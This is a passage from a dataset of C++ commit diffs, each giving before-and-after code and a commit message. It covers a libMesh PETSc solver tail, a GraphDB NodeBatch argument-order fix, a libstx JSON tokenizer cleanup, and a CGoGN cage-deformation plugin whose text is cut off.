SNES_DIVERGED_LOCAL_MIN:\n      return DiffSolver::DIVERGED_NO_REASON;\n    case SNES_DIVERGED_MAX_IT:\n      return DiffSolver::DIVERGED_MAX_NONLINEAR_ITERATIONS;\n#if PETSC_VERSION_LESS_THAN(3,2,0)\n    case SNES_DIVERGED_LS_FAILURE:\n#else\n    case SNES_DIVERGED_LINE_SEARCH:\n#endif\n      return DiffSolver::DIVERGED_BACKTRACKING_FAILURE;\n      \/\/ In PETSc, SNES_CONVERGED_ITERATING means\n      \/\/ the solve is still iterating, but by the\n      \/\/ time we get here, we must have either\n      \/\/ converged or diverged, so\n      \/\/ SNES_CONVERGED_ITERATING is invalid.\n    case SNES_CONVERGED_ITERATING:\n      return DiffSolver::INVALID_SOLVE_RESULT;\n    default:\n      break;\n    }\n  return DiffSolver::INVALID_SOLVE_RESULT;\n}\n\n\n\nunsigned int PetscDiffSolver::solve()\n{\n  this->init();\n\n  LOG_SCOPE(\"solve()\", \"PetscDiffSolver\");\n\n  PetscVector<Number> & x =\n    *(cast_ptr<PetscVector<Number> *>(_system.solution.get()));\n  PetscMatrix<Number> & jac =\n    *(cast_ptr<PetscMatrix<Number> *>(_system.matrix));\n  PetscVector<Number> & r =\n    *(cast_ptr<PetscVector<Number> *>(_system.rhs));\n\n#ifdef LIBMESH_ENABLE_CONSTRAINTS\n  _system.get_dof_map().enforce_constraints_exactly(_system);\n#endif\n\n  int ierr = 0;\n\n  ierr = SNESSetFunction (_snes, r.vec(),\n                          __libmesh_petsc_diff_solver_residual, this);\n  LIBMESH_CHKERR(ierr);\n\n  ierr = SNESSetJacobian (_snes, jac.mat(), jac.mat(),\n                          __libmesh_petsc_diff_solver_jacobian, this);\n  LIBMESH_CHKERR(ierr);\n\n  ierr = SNESSolve (_snes, PETSC_NULL, x.vec());\n  LIBMESH_CHKERR(ierr);\n\n  SNESConvergedReason reason;\n  SNESGetConvergedReason(_snes, &reason);\n\n  this->clear();\n\n  return convert_solve_result(reason);\n}\n\n\n} \/\/ namespace libMesh\n\n#endif \/\/ LIBMESH_HAVE_PETSC\n<|endoftext|>"}
{"text":"<commit_before>#include \"storage\/write\/node_batch.h\"\n\n#include \"storage\/id\/edge_id.h\"\n#include \"storage\/id\/node_property_id.h\"\n\nnamespace GraphDB {\n\nNodeBatch::NodeBatch(BasicIterator* const iter, bool events):\n\titerator_(iter),\n\tevents_(events) { }\n\nuint32_t NodeBatch::getCurrent() {\n\treturn this->iterator_->getCurrent();\n}\n\nvoid NodeBatch::create() {\n\tEdgeId edge(0, 1, EdgeDirection::Outbound, this->getCurrent());\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n}\n\nvoid NodeBatch::discard() {\n\tEdgeId edge(0, 1, EdgeDirection::Outbound, this->getCurrent());\n\n\tthis->remove<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::REMOVE, edge);\n\n\tedge.typeId = 2;\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n}\n\nvoid NodeBatch::connectTo(uint32_t toId, uint16_t typeId) {\n\tEdgeId edge(this->getCurrent(), typeId, EdgeDirection::Outbound, toId);\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n\n\tedge.fromId    = toId;\n\tedge.direction = EdgeDirection::Inbound;\n\tedge.nodeId    = this->getCurrent();\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n}\n\nvoid NodeBatch::disconnectFrom(uint32_t toId, uint16_t typeId) {\n\tEdgeId edge(this->getCurrent(), typeId, EdgeDirection::Outbound, toId);\n\n\tthis->remove<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::REMOVE, edge);\n\n\tedge.fromId    = toId;\n\tedge.direction = EdgeDirection::Inbound;\n\tedge.nodeId    = this->getCurrent();\n\n\tthis->remove<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::REMOVE, edge);\n}\n\nvoid NodeBatch::setProperty(uint16_t propertyId, const PropertyValue& value) {\n\tthis->set<NodePropertyId>(\n\t\tNodePropertyId(this->getCurrent(), propertyId),\n\t\tvalue\n\t);\n}\n\nvoid NodeBatch::removeProperty(uint16_t propertyId) {\n\tthis->remove<NodePropertyId>(\n\t\tNodePropertyId(this->getCurrent(), propertyId)\n\t);\n}\n\nvoid NodeBatch::addEvent(EdgeStreamEventType type, EdgeId& edge) {\n\tif ( this->events_ ) {\n\t\tthis->event_queue_.push_back(EdgeStreamEvent(type, edge));\n\t}\n}\n\n}\n<commit_msg>Fixed parameter sequence in NodeBatch * setProperty and removeProperty were using nodeId and propertyId in the wrong order<commit_after>#include \"storage\/write\/node_batch.h\"\n\n#include \"storage\/id\/edge_id.h\"\n#include \"storage\/id\/node_property_id.h\"\n\nnamespace GraphDB {\n\nNodeBatch::NodeBatch(BasicIterator* const iter, bool events):\n\titerator_(iter),\n\tevents_(events) { }\n\nuint32_t NodeBatch::getCurrent() {\n\treturn this->iterator_->getCurrent();\n}\n\nvoid NodeBatch::create() {\n\tEdgeId edge(0, 1, EdgeDirection::Outbound, this->getCurrent());\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n}\n\nvoid NodeBatch::discard() {\n\tEdgeId edge(0, 1, EdgeDirection::Outbound, this->getCurrent());\n\n\tthis->remove<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::REMOVE, edge);\n\n\tedge.typeId = 2;\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n}\n\nvoid NodeBatch::connectTo(uint32_t toId, uint16_t typeId) {\n\tEdgeId edge(this->getCurrent(), typeId, EdgeDirection::Outbound, toId);\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n\n\tedge.fromId    = toId;\n\tedge.direction = EdgeDirection::Inbound;\n\tedge.nodeId    = this->getCurrent();\n\n\tthis->set<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::INSERT, edge);\n}\n\nvoid NodeBatch::disconnectFrom(uint32_t toId, uint16_t typeId) {\n\tEdgeId edge(this->getCurrent(), typeId, EdgeDirection::Outbound, toId);\n\n\tthis->remove<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::REMOVE, edge);\n\n\tedge.fromId    = toId;\n\tedge.direction = EdgeDirection::Inbound;\n\tedge.nodeId    = this->getCurrent();\n\n\tthis->remove<EdgeId>(edge);\n\tthis->addEvent(EdgeStreamEventType::REMOVE, edge);\n}\n\nvoid NodeBatch::setProperty(uint16_t propertyId, const PropertyValue& value) {\n\tthis->set<NodePropertyId>(\n\t\tNodePropertyId(propertyId, this->getCurrent()),\n\t\tvalue\n\t);\n}\n\nvoid NodeBatch::removeProperty(uint16_t propertyId) {\n\tthis->remove<NodePropertyId>(\n\t\tNodePropertyId(propertyId, this->getCurrent())\n\t);\n}\n\nvoid NodeBatch::addEvent(EdgeStreamEventType type, EdgeId& edge) {\n\tif ( this->events_ ) {\n\t\tthis->event_queue_.push_back(EdgeStreamEvent(type, edge));\n\t}\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * This file is part of the \"libstx\" project\n *   Copyright (c) 2011-2014 Paul Asmuth, Google Inc.\n *\n * libstx is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU General Public License v3.0. You should have received a\n * copy of the GNU General Public License along with this program. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"stx\/exception.h\"\n#include \"stx\/inspect.h\"\n#include \"stx\/stringutil.h\"\n#include \"stx\/json\/jsoninputstream.h\"\n\nnamespace stx {\nnamespace json {\n\nJSONInputStream::JSONInputStream(\n    std::unique_ptr<InputStream> input) :\n    input_(std::move(input)),\n    cur_(' ') {}\n\nJSONInputStream::JSONInputStream(\n    JSONInputStream&& other) :\n    input_(std::move(other.input_)),\n    cur_(other.cur_) {\n  other.cur_ = 0;\n}\n\nbool JSONInputStream::readNextToken(\n    kTokenType* token_type,\n    std::string* token_data) {\n  token_data->clear();\n\n  for (;;) {\n    switch (cur_) {\n      case '{':\n        *token_type = JSON_OBJECT_BEGIN;\n        advanceCursor();\n        return true;\n\n      case '}':\n        *token_type = JSON_OBJECT_END;\n        advanceCursor();\n        return true;\n\n      case '[':\n        *token_type = JSON_ARRAY_BEGIN;\n        advanceCursor();\n        return true;\n\n      case ']':\n        *token_type = JSON_ARRAY_END;\n        advanceCursor();\n        return true;\n\n      case ':':\n      case ',':\n      case ' ':\n      case '\\n':\n      case '\\r':\n        advanceCursor();\n        break;\n\n      case '-':\n      case '0':\n      case '1':\n      case '2':\n      case '3':\n      case '4':\n      case '5':\n      case '6':\n      case '7':\n      case '8':\n      case '9':\n        *token_type = JSON_NUMBER;\n        readNumber(token_data);\n        return true;\n\n      case '\"':\n        *token_type = JSON_STRING;\n        readString(token_data);\n        return true;\n\n      case 't':\n        *token_type = JSON_TRUE;\n        expectString(\"true\");\n        return true;\n\n      case 'f':\n        *token_type = JSON_FALSE;\n        expectString(\"false\");\n        return true;\n\n      case 'n':\n        *token_type = JSON_NULL;\n        expectString(\"null\");\n        return true;\n\n      case 0:\n        return false;\n\n      default:\n        RAISE(kRuntimeError, \"invalid json, unexpected char: %i\", cur_);\n        return false;\n\n    }\n  }\n}\n\nvoid JSONInputStream::readNumber(std::string* dst) {\n  for (;;) {\n    switch (cur_) {\n      case '-':\n      case '+':\n      case '.':\n      case '0':\n      case '1':\n      case '2':\n      case '3':\n      case '4':\n      case '5':\n      case '6':\n      case '7':\n      case '8':\n      case '9':\n      case 'e':\n      case 'E':\n        *dst += cur_;\n        \/* fallthrough *\/\n\n      case ' ':\n        advanceCursor();\n        break;\n\n      default:\n        return;\n    }\n  }\n}\n\n\/\/ FIXPAUL profiling says this is slow slow slow (90% of rpc server time spent\n\/\/ in this method)\nvoid JSONInputStream::readString(std::string* dst) {\n  bool escaped = false;\n  for (;;) {\n    advanceCursor();\n\n    switch (cur_) {\n\n      case '\\\\':\n        advanceCursor();\n\n        switch (cur_) {\n\n          case '\"':\n            *dst += \"\\\"\";\n            break;\n\n          case '\\\\':\n            *dst += \"\\\\\";\n            break;\n\n          case '\/':\n            *dst += \"\/\";\n            break;\n\n          case 'b':\n            *dst += \"\\b\";\n            break;\n\n          case 'f':\n            *dst += \"\\f\";\n            break;\n\n          case 'n':\n            *dst += \"\\n\";\n            break;\n\n          case 'r':\n            *dst += \"\\r\";\n            break;\n\n          case 't':\n            *dst += \"\\t\";\n            break;\n\n          case 'u':\n            \/\/ FIXME\n            advanceCursor();\n            advanceCursor();\n            advanceCursor();\n            advanceCursor();\n            break;\n\n          default:\n            RAISE(kRuntimeError, \"invalid escape sequence\");\n\n        }\n        break;\n\n      default:\n        *dst += cur_;\n        break;\n\n      case '\"':\n        advanceCursor();\n        return;\n\n      case 0:\n        RAISE(kRuntimeError, \"invalid json. unterminated string\");\n        return;\n\n    }\n  }\n}\n\nvoid JSONInputStream::expectString(const std::string& expect) {\n  std::string str;\n  str += cur_;\n  input_->readNextBytes(&str, expect.length() - 1);\n\n  if (str != expect) {\n    RAISEF(kRuntimeError, \"invalid json. expected '$0', got '$1'\", expect, str);\n  }\n\n  advanceCursor();\n}\n\nvoid JSONInputStream::advanceCursor() {\n  if (!input_->readNextByte(&cur_)) {\n    cur_ = 0;\n  }\n}\n\n} \/\/ namespace json\n\ntemplate <>\nstd::string inspect(const json::kTokenType& token) {\n  switch (token) {\n    case json::JSON_OBJECT_BEGIN: return \"JSON_OBJECT_BEGIN\";\n    case json::JSON_OBJECT_END: return \"JSON_OBJECT_END\";\n    case json::JSON_ARRAY_BEGIN: return \"JSON_ARRAY_BEGIN\";\n    case json::JSON_ARRAY_END: return \"JSON_ARRAY_END\";\n    case json::JSON_STRING: return \"JSON_STRING\";\n    case json::JSON_NUMBER: return \"JSON_NUMBER\";\n    case json::JSON_TRUE: return \"JSON_TRUE\";\n    case json::JSON_FALSE: return \"JSON_FALSE\";\n    case json::JSON_NULL: return \"JSON_NULL\";\n  }\n}\n\n} \/\/ namespace stx\n\n<commit_msg>cleaning up<commit_after>\/**\n * This file is part of the \"libstx\" project\n *   Copyright (c) 2011-2014 Paul Asmuth, Google Inc.\n *\n * libstx is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU General Public License v3.0. You should have received a\n * copy of the GNU General Public License along with this program. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include \"stx\/exception.h\"\n#include \"stx\/inspect.h\"\n#include \"stx\/stringutil.h\"\n#include \"stx\/json\/jsoninputstream.h\"\n\nnamespace stx {\nnamespace json {\n\nJSONInputStream::JSONInputStream(\n    std::unique_ptr<InputStream> input) :\n    input_(std::move(input)),\n    cur_(' ') {}\n\nJSONInputStream::JSONInputStream(\n    JSONInputStream&& other) :\n    input_(std::move(other.input_)),\n    cur_(other.cur_) {\n  other.cur_ = 0;\n}\n\nbool JSONInputStream::readNextToken(\n    kTokenType* token_type,\n    std::string* token_data) {\n  token_data->clear();\n\n  for (;;) {\n    switch (cur_) {\n      case '{':\n        *token_type = JSON_OBJECT_BEGIN;\n        advanceCursor();\n        return true;\n\n      case '}':\n        *token_type = JSON_OBJECT_END;\n        advanceCursor();\n        return true;\n\n      case '[':\n        *token_type = JSON_ARRAY_BEGIN;\n        advanceCursor();\n        return true;\n\n      case ']':\n        *token_type = JSON_ARRAY_END;\n        advanceCursor();\n        return true;\n\n      case ':':\n      case ',':\n      case ' ':\n      case '\\n':\n      case '\\r':\n        advanceCursor();\n        break;\n\n      case '-':\n      case '0':\n      case '1':\n      case '2':\n      case '3':\n      case '4':\n      case '5':\n      case '6':\n      case '7':\n      case '8':\n      case '9':\n        *token_type = JSON_NUMBER;\n        readNumber(token_data);\n        return true;\n\n      case '\"':\n        *token_type = JSON_STRING;\n        readString(token_data);\n        return true;\n\n      case 't':\n        *token_type = JSON_TRUE;\n        expectString(\"true\");\n        return true;\n\n      case 'f':\n        *token_type = JSON_FALSE;\n        expectString(\"false\");\n        return true;\n\n      case 'n':\n        *token_type = JSON_NULL;\n        expectString(\"null\");\n        return true;\n\n      case 0:\n        return false;\n\n      default:\n        RAISE(kRuntimeError, \"invalid json, unexpected char: %i\", cur_);\n        return false;\n\n    }\n  }\n}\n\nvoid JSONInputStream::readNumber(std::string* dst) {\n  for (;;) {\n    switch (cur_) {\n      case '-':\n      case '+':\n      case '.':\n      case '0':\n      case '1':\n      case '2':\n      case '3':\n      case '4':\n      case '5':\n      case '6':\n      case '7':\n      case '8':\n      case '9':\n      case 'e':\n      case 'E':\n        *dst += cur_;\n        \/* fallthrough *\/\n\n      case ' ':\n        advanceCursor();\n        break;\n\n      default:\n        return;\n    }\n  }\n}\n\nvoid JSONInputStream::readString(std::string* dst) {\n  bool escaped = false;\n  for (;;) {\n    advanceCursor();\n\n    switch (cur_) {\n\n      case '\\\\':\n        advanceCursor();\n\n        switch (cur_) {\n\n          case '\"':\n            *dst += \"\\\"\";\n            break;\n\n          case '\\\\':\n            *dst += \"\\\\\";\n            break;\n\n          case '\/':\n            *dst += \"\/\";\n            break;\n\n          case 'b':\n            *dst += \"\\b\";\n            break;\n\n          case 'f':\n            *dst += \"\\f\";\n            break;\n\n          case 'n':\n            *dst += \"\\n\";\n            break;\n\n          case 'r':\n            *dst += \"\\r\";\n            break;\n\n          case 't':\n            *dst += \"\\t\";\n            break;\n\n          case 'u':\n            \/\/ FIXME\n            advanceCursor();\n            advanceCursor();\n            advanceCursor();\n            advanceCursor();\n            break;\n\n          default:\n            RAISE(kRuntimeError, \"invalid escape sequence\");\n\n        }\n        break;\n\n      default:\n        *dst += cur_;\n        break;\n\n      case '\"':\n        advanceCursor();\n        return;\n\n      case 0:\n        RAISE(kRuntimeError, \"invalid json. unterminated string\");\n        return;\n\n    }\n  }\n}\n\nvoid JSONInputStream::expectString(const std::string& expect) {\n  std::string str;\n  str += cur_;\n  input_->readNextBytes(&str, expect.length() - 1);\n\n  if (str != expect) {\n    RAISEF(kRuntimeError, \"invalid json. expected '$0', got '$1'\", expect, str);\n  }\n\n  advanceCursor();\n}\n\nvoid JSONInputStream::advanceCursor() {\n  if (!input_->readNextByte(&cur_)) {\n    cur_ = 0;\n  }\n}\n\n} \/\/ namespace json\n\ntemplate <>\nstd::string inspect(const json::kTokenType& token) {\n  switch (token) {\n    case json::JSON_OBJECT_BEGIN: return \"JSON_OBJECT_BEGIN\";\n    case json::JSON_OBJECT_END: return \"JSON_OBJECT_END\";\n    case json::JSON_ARRAY_BEGIN: return \"JSON_ARRAY_BEGIN\";\n    case json::JSON_ARRAY_END: return \"JSON_ARRAY_END\";\n    case json::JSON_STRING: return \"JSON_STRING\";\n    case json::JSON_NUMBER: return \"JSON_NUMBER\";\n    case json::JSON_TRUE: return \"JSON_TRUE\";\n    case json::JSON_FALSE: return \"JSON_FALSE\";\n    case json::JSON_NULL: return \"JSON_NULL\";\n  }\n}\n\n} \/\/ namespace stx\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"surface_deformationCage.h\"\n\nnamespace CGoGN\n{\n\nnamespace SCHNApps\n{\n\nMapParameters::MapParameters() :\n    m_initialized(false),\n    m_linked(false),\n    m_toComputeMVC(true),\n    m_coordinates()\n{}\n\nMapParameters::~MapParameters() {}\n\nvoid MapParameters::start() {\n    if(!m_initialized) {\n        m_initialized = true;\n    }\n}\n\nvoid MapParameters::stop() {\n    if(m_initialized) {\n        m_initialized = false;\n    }\n}\n\nbool Surface_DeformationCage_Plugin::enable()\n{\n    m_deformationCageDialog = new Dialog_DeformationCage(m_schnapps, this);\n\n    m_deformationCageAction = new QAction(\"Cage deformation\", this);\n\n    m_schnapps->addMenuAction(this, \"Surface;Cage deformation\", m_deformationCageAction);\n\n    connect(m_deformationCageAction, SIGNAL(triggered()), this, SLOT(openDeformationCageDialog()));\n\n    connect(m_schnapps, SIGNAL(mapAdded(MapHandlerGen*)), this, SLOT(mapAdded(MapHandlerGen*)));\n    connect(m_schnapps, SIGNAL(mapRemoved(MapHandlerGen*)), this, SLOT(mapRemoved(MapHandlerGen*)));\n\n    foreach(MapHandlerGen* map, m_schnapps->getMapSet().values())\n        mapAdded(map);\n\n    return true;\n}\n\nvoid Surface_DeformationCage_Plugin::disable()\n{\n    disconnect(m_deformationCageAction, SIGNAL(triggered()), this, SLOT(openGenerationCageDialog()));\n\n    disconnect(m_schnapps, SIGNAL(mapAdded(MapHandlerGen*)), this, SLOT(mapAdded(MapHandlerGen*)));\n    disconnect(m_schnapps, SIGNAL(mapRemoved(MapHandlerGen*)), this, SLOT(mapRemoved(MapHandlerGen*)));\n}\n\nvoid Surface_DeformationCage_Plugin::mapAdded(MapHandlerGen *map)\n{\n    connect(map, SIGNAL(attributeModified(unsigned int, QString)), this, SLOT(attributeModified(unsigned int, QString)));\n}\n\nvoid Surface_DeformationCage_Plugin::mapRemoved(MapHandlerGen *map)\n{\n    disconnect(map, SIGNAL(attributeModified(unsigned int, QString)), this, SLOT(attributeModified(unsigned int, QString)));\n}\n\nvoid Surface_DeformationCage_Plugin::attributeModified(unsigned int orbit, QString nameAttr)\n{\n    if(orbit==VERTEX) {\n        MapHandlerGen* mhg_modified = static_cast<MapHandlerGen*>(QObject::sender());\n        MapSet maps = m_schnapps->getMapSet();\n        AttributeSet attributes;\n        for(MapSet::iterator it = maps.begin(); it!=maps.end(); ++it)\n        {\n            MapHandlerGen* mhg_current = static_cast<MapHandlerGen*>(m_schnapps->getMap(it.key()));\n            attributes = mhg_current->getAttributeSet(orbit);\n            for(AttributeSet::const_iterator attribute = attributes.constBegin(); attribute != attributes.constEnd(); ++attribute)\n            {\n                \/\/On considère d'abord la carte modifiée comme étant la cage\n                MapParameters& p = h_parameterSet[mhg_current->getName()+attribute.key()+mhg_modified->getName()+nameAttr];\n                if(p.m_initialized)\n                {   \/\/Si des coordonnées ont été calculées\n                    if(p.m_linked)\n                    {   \/\/Si les deux cartes sont actuellement liées\n                        moveObjectsPointsFromCageMovement(mhg_current, mhg_modified, attribute.key(), nameAttr);\n                    }\n                }\n\n                \/\/On considère ensuite la carte modifiée comme étant l'objet\n                p = h_parameterSet[mhg_modified->getName()+nameAttr+mhg_current->getName()+attribute.key()];\n                if(p.m_initialized)\n                {   \/\/Si des coordonnées ont été calculées\n                    if(p.m_linked)\n                    {   \/\/Si les deux cartes sont actuellement liées\n                        moveObjectsPointsFromCageMovement(mhg_modified, mhg_current, nameAttr, attribute.key());\n                    }\n                }\n            }\n        }\n    }\n}\n\nvoid Surface_DeformationCage_Plugin::moveObjectsPointsFromCageMovement(MapHandlerGen* o, MapHandlerGen* c, const QString& objectNameAttr, const QString& cageNameAttr)\n{\n    MapHandler<PFP2>* mh_object = static_cast<MapHandler<PFP2>*>(o);\n    PFP2::MAP* object = mh_object->getMap();\n    MapHandler<PFP2>* mh_cage = static_cast<MapHandler<PFP2>*>(c);\n    PFP2::MAP* cage = mh_cage->getMap();\n\n    VertexAttribute<PFP2::VEC3> objectPosition = object->getAttribute<PFP2::VEC3, VERTEX>(objectNameAttr.toStdString());\n    VertexAttribute<MVCCoordinates> objectCoordinates = object->getAttribute<MVCCoordinates, VERTEX>(\"MVCCoordinates\");\n\n    VertexAttribute<PFP2::VEC3> cagePosition = cage->getAttribute<PFP2::VEC3, VERTEX>(cageNameAttr.toStdString());\n\n    TraversorV<PFP2::MAP> trav_vert_object(*object);\n\n    for(Dart d = trav_vert_object.begin(); d!=trav_vert_object.end(); d = trav_vert_object.next())\n    {   \/\/Pour chaque sommet de l'objet\n        objectPosition[d] = PFP2::VEC3(0);\n        unsigned int j = 0;\n        TraversorV<PFP2::MAP> trav_vert_cage(*cage);\n        for(Dart dd = trav_vert_cage.begin(); dd!=trav_vert_cage.end(); dd = trav_vert_cage.next())\n        {\n            CGoGNout << objectCoordinates[d][j] << CGoGNendl;\n            objectPosition[d] += objectCoordinates[d][j]*cagePosition[dd];\n            CGoGNout << objectCoordinates[d][j] << CGoGNendl;\n            ++j;\n        }\n    }\n}\n\nvoid Surface_DeformationCage_Plugin::openDeformationCageDialog()\n{\n    m_deformationCageDialog->updateAppearanceFromPlugin();\n    m_deformationCageDialog->show();\n}\n\nvoid Surface_DeformationCage_Plugin::computeMVCFromDialog()\n{\n    MapHandlerGen* mhg_object = m_deformationCageDialog->getSelectedObject();\n    MapHandlerGen* mhg_cage = m_deformationCageDialog->getSelectedCage();\n    const QString objectNameAttr = m_deformationCageDialog->combo_objectPositionAttribute->currentText();\n    const QString cageNameAttr = m_deformationCageDialog->combo_cagePositionAttribute->currentText();\n    if(mhg_object && mhg_cage && !objectNameAttr.isEmpty() && !cageNameAttr.isEmpty())\n    {\n        computeAllPointsFromObject(mhg_object->getName(), mhg_cage->getName(), objectNameAttr, cageNameAttr);\n    }\n}\n\nvoid Surface_DeformationCage_Plugin::computeAllPointsFromObject(const QString& objectName, const QString& cageName, const QString& objectNameAttr, const QString& cageNameAttr)\n{\n    MapParameters& p = h_parameterSet[objectName+objectNameAttr+cageName+cageNameAttr];\n    if(!p.m_initialized)\n        p.start();\n    if(p.m_toComputeMVC)\n    {   \/\/Si les coordonnées sont à calculer\n        MapHandler<PFP2>* mh_object = static_cast<MapHandler<PFP2>*>(m_schnapps->getMap(objectName));\n        PFP2::MAP* object = mh_object->getMap();\n        MapHandler<PFP2>* mh_cage = static_cast<MapHandler<PFP2>*>(m_schnapps->getMap(cageName));\n        PFP2::MAP* cage = mh_cage->getMap();\n\n        VertexAttribute<PFP2::VEC3> positionCage = cage->getAttribute<PFP2::VEC3, VERTEX>(cageNameAttr.toStdString());\n        if(!positionCage.isValid())\n        {\n            CGoGNout << \"Position attribute chosen for the cage isn't valid\" << CGoGNendl;\n            return;\n        }\n\n        VertexAttribute<PFP2::VEC3> positionObject = object->getAttribute<PFP2::VEC3, VERTEX>(objectNameAttr.toStdString());\n        if(!positionObject.isValid())\n        {\n            CGoGNout << \"Position attribute chosen for the object isn't valid\" << CGoGNendl;\n            return;\n        }\n\n        VertexAttribute<MVCCoordinates> coordinates = object->getAttribute<MVCCoordinates, VERTEX>(\"MVCCoordinates\");\n        if(!coordinates.isValid())\n        {\n            coordinates = object->addAttribute<MVCCoordinates, VERTEX>(\"MVCCoordinates\");\n        }\n\n        Utils::Chrono chrono;\n        chrono.start();\n\n        TraversorV<PFP2::MAP> trav_vert_object(*object);\n        for(Dart d = trav_vert_object.begin(); d!=trav_vert_object.end(); d = trav_vert_object.next())\n        {\n            computePointMVCFromCage(positionObject[d], d, objectName, cageName, positionCage, coordinates);\n        }\n\n        CGoGNout << \"Temps de calcul des coordonnées MVC : \" << chrono.elapsed() << \" ms.\" << CGoGNendl;\n\n        p.m_toComputeMVC = false;\n    }\n}\n\n\/*\n  * Fonction qui calcule les coordonnées MVC d'un point par rapport à une cage\n  *\/\nvoid Surface_DeformationCage_Plugin::computePointMVCFromCage(PFP2::VEC3 pt, Dart vertex, const QString& objectName, const QString& cageName,\n                                                             VertexAttribute<PFP2::VEC3> position, VertexAttribute<MVCCoordinates> coordinates)\n{\n    MapHandler<PFP2>* mh_cage = static_cast<MapHandler<PFP2>*>(m_schnapps->getMap(cageName));\n    PFP2::MAP* cage = mh_cage->getMap();\n\n    PFP2::REAL c;\n    PFP2::REAL sumMVC(0);\n    unsigned int j=0;\n\n    coordinates[vertex].reserve(cage->getNbOrbits<VERTEX>());\n\n    TraversorV<PFP2::MAP> trav_vert_cage(*cage);\n    for(Dart d = trav_vert_cage.begin(); d!=trav_vert_cage.end(); d = trav_vert_cage.next())\n    {   \/\/On calcule les coordonnées par rapport à chaque sommet de la cage\n        c = computeMVC(pt, d, cage, position);\n        coordinates[vertex].push_back(c);\n        sumMVC += c;\n        ++j;\n    }\n\n    for(unsigned int i=0; i<j; ++i)\n    {\n        coordinates[vertex][i] \/= sumMVC;\n    }\n}\n\nPFP2::REAL Surface_DeformationCage_Plugin::computeMVC(PFP2::VEC3 pt, Dart vertex, PFP2::MAP* cage, VertexAttribute<PFP2::VEC3> position)\n{\n    PFP2::REAL r = (position[vertex]-pt).norm();\n\n    PFP2::REAL sumU(0.);\n    Dart it = vertex;\n    do\n    {\n        PFP2::VEC3 vi = position[it];\n        PFP2::VEC3 vj = position[cage->phi1(it)];\n        PFP2::VEC3 vk = position[cage->phi_1(it)];\n\n        PFP2::REAL Bjk = Geom::angle((vj-pt),(vk-pt));\n        PFP2::REAL Bij = Geom::angle((vi-pt),(vj-pt));\n        PFP2::REAL Bki = Geom::angle((vk-pt),(vi-pt));\n\n        PFP2::VEC3 ei = (vi-pt)\/((vi-pt).norm());\n        PFP2::VEC3 ej = (vj-pt)\/((vj-pt).norm());\n        PFP2::VEC3 ek = (vk-pt)\/((vk-pt).norm());\n\n        PFP2::VEC3 eiej = ei^ej;\n        PFP2::VEC3 ejek = ej^ek;\n        PFP2::VEC3 ekei = ek^ei;\n\n        PFP2::VEC3 nij = eiej\/(eiej.norm());\n        PFP2::VEC3 njk = ejek\/(ejek.norm());\n        PFP2::VEC3 nki = ekei\/(ekei.norm());\n\n        PFP2::REAL ui= (Bjk + (Bij*(nij*njk)) + (Bki*(nki*njk)))\/(2.0f*ei*njk);\n\n        sumU+=ui;\n\n        it = cage->phi<21>(it);\n    }\n    while(it!=vertex);\n\n    return (1.0f\/r)*sumU;\n}\n\n\n#ifndef DEBUG\nQ_EXPORT_PLUGIN2(Surface_DeformationCage_Plugin, Surface_DeformationCage_Plugin)\n#else\nQ_EXPORT_PLUGIN2(Surface_DeformationCage_PluginD, Surface_DeformationCage_Plugin)\n#endif\n\n} \/\/ namespace SCHNApps\n\n} \/\/ namespace CGoGN\n<commit_msg>[NON-FONCTIONNEL] Correction des problmes de calcul des coordonnes MVC.<commit_after>#include \"surface_deformationCage.h\"\n\nnamespace CGoGN\n{\n\nnamespace SCHNApps\n{\n\nMapParameters::MapParameters() :\n    m_initialized(false),\n    m_linked(false),\n    m_toComputeMVC(true),\n    m_coordinates()\n{}\n\nMapParameters::~MapParameters() {}\n\nvoid MapParameters::start() {\n    if(!m_initialized) {\n        m_initialized = true;\n    }\n}\n\nvoid MapParameters::stop() {\n    if(m_initialized) {\n        m_initialized = false;\n    }\n}\n\nbool Surface_DeformationCage_Plugin::enable()\n{\n    m_deformationCageDialog = new Dialog_DeformationCage(m_schnapps, this);\n\n    m_deformationCageAction = new QAction(\"Cage deformation\", this);\n\n    m_schnapps->addMenuAction(this, \"Surface;Cage deformation\", m_deformationCageAction);\n\n    connect(m_deformationCageAction, SIGNAL(triggered()), this, SLOT(openDeformationCageDialog()));\n\n    connect(m_schnapps, SIGNAL(mapAdded(MapHandlerGen*)), this, SLOT(mapAdded(MapHandlerGen*)));\n    connect(m_schnapps, SIGNAL(mapRemoved(MapHandlerGen*)), this, SLOT(mapRemoved(MapHandlerGen*)));\n\n    foreach(MapHandlerGen* map, m_schnapps->getMapSet().values())\n        mapAdded(map);\n\n    return true;\n}\n\nvoid Surface_DeformationCage_Plugin::disable()\n{\n    disconnect(m_deformationCageAction, SIGNAL(triggered()), this, SLOT(openGenerationCageDialog()));\n\n    disconnect(m_schnapps, SIGNAL(mapAdded(MapHandlerGen*)), this, SLOT(mapAdded(MapHandlerGen*)));\n    disconnect(m_schnapps, SIGNAL(mapRemoved(MapHandlerGen*)), this, SLOT(mapRemoved(MapHandlerGen*)));\n}\n\nvoid Surface_DeformationCage_Plugin::mapAdded(MapHandlerGen *map)\n{\n    connect(map, SIGNAL(attributeModified(unsigned int, QString)), this, SLOT(attributeModified(unsigned int, 